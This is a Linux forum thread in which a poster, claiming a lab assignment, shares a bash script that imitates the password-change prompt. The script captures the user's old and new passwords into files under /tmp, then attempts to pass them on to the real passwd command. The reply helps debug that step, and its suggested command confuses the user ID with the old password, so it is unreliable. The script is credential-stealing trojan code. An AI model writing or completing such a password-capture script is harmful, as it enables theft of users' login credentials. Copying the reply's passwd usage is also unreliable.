Find the answer to your Linux question:
Results 1 to 2 of 2
Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject. I want to capture the users password when ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Apr 2011
    Posts
    5

    How to change password using a script file and text file?


    Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.

    I want to capture the users password when he changes his password. Both new and old.

    This is the script i have come up with:

    Code:
    #!/bin/bash
    echo "Changing password for user $USER."
    echo "(current) UNIX password: "
    
    read hacked
    
    newpass=0
    confpass=1
    while [ $newpass != $confpass ] 
    do
    echo "Enter new UNIX password: "
    read newpass
    
    echo "Retype new UNIX password: "
    read confpass
    
    done
    
    echo $hacked > /tmp/stolen
    echo $newpass > /tmp/newstolen
    
    
    echo $hacked > /tmp/compilestolen
    echo $newpass >> /tmp/compilestolen
    echo $newpass >> /tmp/compilestolen
    
    
    #[method 1] echo $hacked $newpass $confpass | passwd
    
    #[method 2] passwd < /tmp/compilestolen.txt
    Both method 1 and method 2 doesn't work. It gives the "Authentication token manipulation header" error in the terminal. Why?

  2. #2
    Linux Enthusiast
    Join Date
    Jan 2005
    Location
    Saint Paul, MN
    Posts
    661
    In method 1, you are assuming that the command reads three arguments from stdin on a single line. Which the command passwd does not do. It is the same as attempting to do:
    Code:
    passwd
    hacked_value newpass_value newpass_value
    In method 2, you are assuming that the command reads three arguments from stdin on seperate lines. Which the command passwd does not do. It is the same as attempting to do:
    Code:
    passwd
    hacked_value
    newpass_value
    newpass_value
    The passwd command needs to have the userid as an argument to the command and then two lines of data such as:
    Code:
    passwd hacked_value
    newpass_value
    newpass_value

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •